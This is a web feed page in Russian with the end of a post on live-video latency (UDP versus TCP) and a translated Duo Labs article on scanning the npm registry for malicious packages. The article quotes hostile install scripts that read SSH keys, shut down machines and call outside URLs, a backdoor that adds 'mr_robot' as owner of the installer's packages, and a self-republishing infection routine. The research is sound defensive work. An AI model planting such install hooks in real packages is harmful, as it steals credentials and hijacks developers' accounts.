              Есть мнение, что подобный подход с UDP хорошо годится на пересылке через каналы с гигантским RTT и потерями, потому что не тормозит пересылку на её подтверждение. Важный момент заключается в том, что в случае с видеостримингом тормозить отправляющего вообще не нужно: трафик подается ровно с той скоростью, с которой он нужен. Если начать тормозить, то можно вообще не передавать, а выбирать поменьше качество. В свою очередь TCP это очень общий протокол доставки и у него есть допущения, которые неверны для прямого эфира:

              • данные надо или передать все, или порвать соединение. Для прямой трансляции это не так, смело можно выбрасывать то, что не получилось послать, пусть лучше видео рассыпется квадратиками, чем начнет залипать
              • передачу данных можно притормозить, что бы потом ускоренно передать. И это тоже не актуально для прямого эфира: или суммарной толщины канала хватает для передачи, или нет. Быстрее или медленнее поток видео литься не будет (без перенастройки транскодера)

              Следствием этого является тот факт, что большой пинг на длинном расстоянии может начать тормозить TCP, хотя пакеты ходят быстро. UDP будет пересылать пакеты со скоростью реального времени: не быстрее, но и не медленее и никакого подтверждения доставки не требуется.

              Доставка до клиента

              Рост задержки при доставке от сервера к клиенту состоит из самой задержки передачи пакетов и процента потерь. Высокие потери будут приводить к торможению доставки из-за перепосылки данных в случае с TCP. В случае с UDP чаще будут включаться механизмы восстановления, или чаще будет рассыпаться видео.

              В любом случае здесь немного помогают принудительные выборы маршрута типа: не слать видео напрямую из Москвы в Тайланд, а сделать это через облако Амазона в Сингапуре (личный опыт), но чудес нет, в скорость света мы давно уперлись, так что способов кроме физического перемещения поближе и не подсказать.

              Эта часть может как уложиться в 10 мс, так и растянуться на 300 мс (на таком RTT вообще сложно добиться приличной скорости).

              В редких случаях подобные вопросы решают CDN, но на практике надеяться на это особо не стоит и уж точно не надо доверять маркетологам, которые готовы понаобещать чего угодно.

              Самое забавное, что главная проблема может возникнуть на последнем метре от вайфай роутера до ноутбука. Иногда достаточно воткнуть кабель в ноутбук, что бы удивиться тому, каким может быть быстрым интернет.

              Продолжение следует. В следующей публикации рассмотрим что происходит у клиента.

              Комментарии (0)

                Let's block ads! (Why?)

                [Перевод] Охота на вредоносные npm-пакеты

                На прошлой неделе мы рассказывали о том, как в реестре npm обнаружили несколько десятков пакетов, которые воруют данные из переменных окружения. Случилось это в начале августа и вызвало волну интереса к безопасности npm-пакетов. В комментариях к предыдущему материалу совершенно справедливо отмечено, что проблема неблагонадёжных пакетов существует со дня появления пакетных менеджеров, что, хотя сейчас всё более или менее спокойно, никто не застрахован от проблем самого разного масштаба. Например, вредоносный код, внедрённый в очередное обновление какого-нибудь популярнейшего пакета, способен вызвать настоящую катастрофу. Поиск опасных пакетов — дело непростое, к нему подходят с разных сторон. Сегодня мы хотим поделиться с вами рассказом о том, как в Duo Labs устроили охоту на вредоносные npm-пакеты.



                Пара слов об опасных пакетах


                Имена недавно обнаруженных опасных пакетов, которые воруют данные из переменных окружения, были рассчитаны на то, что разработчик допустит опечатку, вводя имя известного пакета при запуске команды npm install.

                Опасность установки подобных пакетов заключается в том, что часто в переменных окружения хранят секретные ключи или другую важную информацию. Если администратор случайно установит такой пакет, всё ценное будет собрано и отправлено злоумышленнику. И, в этой конкретной атаке, вредоносные пакеты были опубликованы как зависимые от реальных пакетов со схожими именами, в итоге, нужный пакет будет установлен, и разработчик, скорее всего, ничего подозрительного не заметит.

                Учитывая то, что в npm имеется кое-какая история борьбы с вредоносным кодом — либо со взломанными обычными пакетами, либо с изначально рассчитанными на выполнение неких нежелательных действий, мы решили проанализировать весь репозиторий npm и поохотиться на другие вредоносные пакеты.

                История неприятностей npm


                Недавняя шумиха вокруг вредоносных пакетов в репозитории npm — далеко не первое подобное происшествие. В 2016-м году некий разработчик отменил публикацию своих npm-пакетов в ответ на спор, связанный с именами. От них зависели многие другие пакеты, в результате отмена публикации привела к широкомасштабному нарушению работы и к опасениям, связанным с возможным взломом пакетов хакерами.

                Вот материал, который был опубликован в этом году. Здесь исследователь смог получить прямой доступ к 14% всех npm-пакетов (и непрямой доступ к 54% пакетов). Он либо взломал методом грубой силы слабые пароли к учётным записям, либо использовал пароли, полученные после взлома сервисов, напрямую к npm не относящихся. Это привело к массовым сбросам паролей в npm.

                Возможное негативное влияние взломанных или вредоносных пакетов усугубляется тем, как структурирован реестр npm. А именно, npm приветствует разработку маленьких пакетов, зависящих от множества других пакетов. Такой подход привёл к появлению целой сети небольших пакетов, каждый из которых зависит от многих других. В случае с вышеупомянутым исследованием возможности кражи учётных данных, автор смог получить доступ к некоторым весьма популярным пакетам, что дало ему потенциальную возможность провести гораздо более масштабную атаку на экосистему npm, нежели та, которая была бы возможна, не существуй в npm столь сильной взаимозависимости пакетов.

                Например, вот график зависимостей для топ-100 npm-пакетов, подготовленный GraphCommons.


                График зависимостей npm-пакетов из первой сотни

                Как вредоносные npm-пакеты захватывают системы


                В вышеописанных случаях атак на npm участвовали обычные разработчики, не имеющие злого умысла. Но что если нечто подобное организует злоумышленник? Как он может воспользоваться доступом к чужим пакетам в корыстных целях?

                Легче всего провести атаку, задействовав возможностью npm по запуску скриптов preinstall и postinstall. Именно так были устроены недавно обнаруженные вредоносные пакеты. В этих скриптах могут быть произвольные системные команды, заданные в файле пакета package.json, предназначенные для выполнения, соответственно, до и после установки пакета. Обратите внимание: команды в скриптах могут быть любыми.

                Сама по себе эта возможность полезна. На самом деле, такие скрипты часто используются как вспомогательные средства при наличии сложных конфигураций установки пакетов. Однако, они дают атакующему доступ к пакетам, взломанным или изначально вредоносным. Фактически, это позволяет взламывать системы.

                Учитывая всё это, проанализируем реестр npm для того, чтобы обнаружить потенциально опасные пакеты.

                Охота за вредоносными пакетами


                ▍Загрузка данных для анализа


                Первым шагом нашего анализа было получение информации о пакетах. Реестр npm основан на CouchDB (registry.npmjs.com) Тут была конечная точка /-/all, которая возвращала информацию по всем пакетам в JSON, всё это работало до тех пор, пока эту возможность не отключили.

                Мы, для наших целей, можем обратиться к копии реестра на replicate.npmjs.com. Применим ту же технику, которую используют другие библиотеки для получения копии JSON-данных для каждого пакета:

                curl http://ift.tt/2vMqDAH > npm.json
                

                Затем воспользуемся инструментом для обработки JSON jq и вытащим из полученных данных имена пакетов, скрипты и URL для загрузки. В этом нам поможет такой вот аккуратный однострочник:
                cat npm.json | jq '[.rows | to_entries[] | .value | objects | {"name": .value.name, "scripts": .value.scripts, "tarball": .value.dist.tarball}]' > npm_scripts.json
                

                Для того, чтобы упростить анализ, мы, на скорую руку, подготовили скрипт на Python для решения следующих задач:
                • Поиск пакетов со скриптами preinstall, postinstall или install.
                • Поиск файлов, исполняемых скриптом.
                • Поиск в найденных файлах строк, которые могут указывать на подозрительную активность.

                ▍Находки


                Пакеты, демонстрирующие возможность атаки

                Разработчики уже довольно давно знают о потенциальной опасности установочных скриптов. Одной из первой наших находок стали пакеты, которые нацелены на то, чтобы продемонстрировать эту проблему, как кажется, безопасным способом. Вот сводка по таким пакетам:

                {
                  "name": "maybemaliciouspackage",
                  "scripts": {
                    "postinstall": "find ~/.ssh | xargs cat || true && echo '\n\n\n\n\n\nOH HEY LOOK SSH KEYS\n\n\n\n\n\n\n'"
                  }
                },
                {
                  "name": "deasyncp",
                  "scripts": {
                    "preinstall": "say U WOT M8; shutdown -s now"
                  }
                },
                {
                  "name": "harmlesspackage",
                  "scripts": {
                    "postinstall": "echo '\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nThanks for your SSH         keys :)' && curl -X GET http://ift.tt/2hZ9o9u"
                  }
                },
                {
                  "name": "npm-exploit",
                  "scripts": {
                    "install": "mkdir -p ~/Desktop/sploit && touch ~/Desktop/sploit/haxx"
                  }
                }
                
                

                Скрипты любопытных разработчиков

                Следующим, что мы нашли, оказались скрипты, которые отслеживают место установки пакета. Npm предоставляет определённые данные по загрузкам на странице пакета, но некоторые авторы хотят большего. А это уже — нарушение приватности пользователей. Вот некоторые пакеты, использующие Google Analytics или Piwik для отслеживания установок.

                {
                  "name": "npm_scripts_test_metrics",
                  "scripts": {
                    "preinstall": "curl 'http://ift.tt/2fEIHG8'",
                    "postinstall": "curl 'http://ift.tt/2hZ6CBd'"
                  }
                },
                {
                  "name": "subtitles-lib",
                  "scripts": {
                    "postinstall": "bash -c 'curl \"http://ift.tt/2fDSSLn\"'"
                  }
                }
                

                Подобные вещи в некоторых пакетах не так очевидны. Скрипты для сбора данных спрятаны в установочных JavaScript-файлах вместо того, чтобы быть внедрёнными в команды оболочки в файле package.json.

                Вот ещё некоторые из найденных нами подобных пакетов. Ссылки ведут к соответствующим скриптам:


                Вредоносные скрипты

                И, наконец, мы занялись поиском пакетов, установочные скрипты которых вредоносны по своей природе. При установке таких пакетов система пользователя подвергнется весьма нежелательному воздействию.

                Дело mr_robot

                При исследовании оставшихся пакетов мы наткнулись на интересный установочный скрипт в пакете shrugging-logging. Устроен он очень просто. Пакет добавляет набор ASCII-символов ¯_(ツ)_/¯ (так называемый shrug — пожимающий плечами эмотикон) к сообщениям лога. Однако, у этого пакета есть весьма неприятный скрипт postinstall, который даёт автору пакета (mr_robot) права на управление npm-пакетами, которыми владеет тот, кто запустил npm install.

                Вот соответствующий фрагмент кода. Полный текст функции можно посмотреть здесь.

                function currentUser(cb) {
                  exec('npm whoami', function (err, stdout, stderr) {
                    if (!err) cb(stdout);
                  });
                }
                
                function addOwner(packageName, newOwner) {
                  exec('npm owner add ' + newOwner + ' ' + packageName);
                }
                
                function getModulesOwned(user, cb) {
                  var url = 'https://www.npmjs.org/~' + user;
                
                  request(url, function (error, response, body) {
                    var $ = cheerio.load(body);
                    var packages = $('.collaborated-packages a').map(function (i, el) {
                      return $(this).text();
                    }).get();
                
                    cb(packages);
                  });
                }
                
                currentUser(function (user) {
                  if (user) {
                    getModulesOwned(user, function (modules) {
                      modules.forEach(function (moduleName) {
                        addOwner(moduleName, 'mr_robot');
                      });
                    });
                  }
                });
                

                Сначала скрипт использует команду npm whoami для того, чтобы получить имя текущего пользователя. Затем он ищет на сайте npmjs.org пакеты, принадлежащие этому пользователю. В итоге скрипт использует команду npm owner add для того, чтобы добавить mr_robot в число владельцев всех этих пакетов.

                Этот автор также опубликовал следующие пакеты, содержащие тот же бэкдор:

                • test-module-a
                • pandora-doomsday

                Модификация и публикация локальных пакетов

                Ещё один обнаруженный нами вредоносный скрипт содержит код, который, во многом похож на то, что было в пакетах mr_robot, однако, в рукаве у него другой туз. Вместо того, чтобы просто модифицировать список владельцев npm-пакетов, модуль sdfjghlkfjdshlkjdhsfg демонстрирует доказательство возможности инфицирования и публикации локальных пакетов.

                Установочный скрипт sdfjghlkfjdshlkjdhsfg показывает этот процесс на примере модификации и публикации самого себя:

                function infectModule (moduleName) {
                        installModule(moduleName)
                        .then(() => {
                                addScript(moduleName);
                                copyScript(moduleName);
                
                                return incrementPatchVersion(moduleName);
                        })
                        .then(() => publishInfectedModule(moduleName))
                        .catch(() => {});
                }
                
                const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";
                
                infectModule(MODULE_NAME);
                

                Полный исходник можно найти здесь.

                Хотя перед нами лишь пакет, доказывающий возможность подобной атаки, точно такой же подход можно легко использовать для нападения на локальные пакеты, которыми владеет пользователь, выполняющий установку.

                Итоги


                Важно отметить, что вышеописанное возможно не только в репозитории npm. Подобное характерно для большинства, если не для всех, пакетных менеджеров. Менеджеры позволяют тем, кто пакеты пишет и публикует, задавать команды, вызываемые при установке пакетов. Пожалуй, для npm эта проблема более заметна из-за структуры зависимостей пакетов, о которой мы говорили выше.

                В дополнение к этому важно отметить, что перед нами проблема, которую очень непросто решить. Статический анализ публикуемых npm-пакетов — сложная задача. Настолько сложная, что существуют целые компании, которые этим занимаются.

                Кроме того, есть сообщения от разработчиков npm, которые позволяют судить о том, что предпринимаются усилия к тому, чтобы задействовать различные метрики, направленные на то, чтобы предотвратить загрузку пользователями вредоносных пакетов. Взгляните, например, на эту переписку в Twitter.

                Между тем, рекомендовано продолжать проявлять осторожность при добавлении зависимостей к проектам. В дополнение к минимизации числа зависимостей, мы рекомендуем задействовать строгое версионирование и проверку целостности всех зависимостей, что может быть выполнено встроенными средствами yarn или командой npm shrinkwrap. Этот простой приём даст разработчику уверенность в том, что в продакшн попадёт именно тот код, который использовался в ходе разработки.

                Уважаемые читатели! Защищаете ли вы свои системы и Node.js-проекты от вредоносных npm-пакетов? Если да — расскажите пожалуйста о том, как вы это делаете.

                Комментарии (0)

                  Let's block ads! (Why?)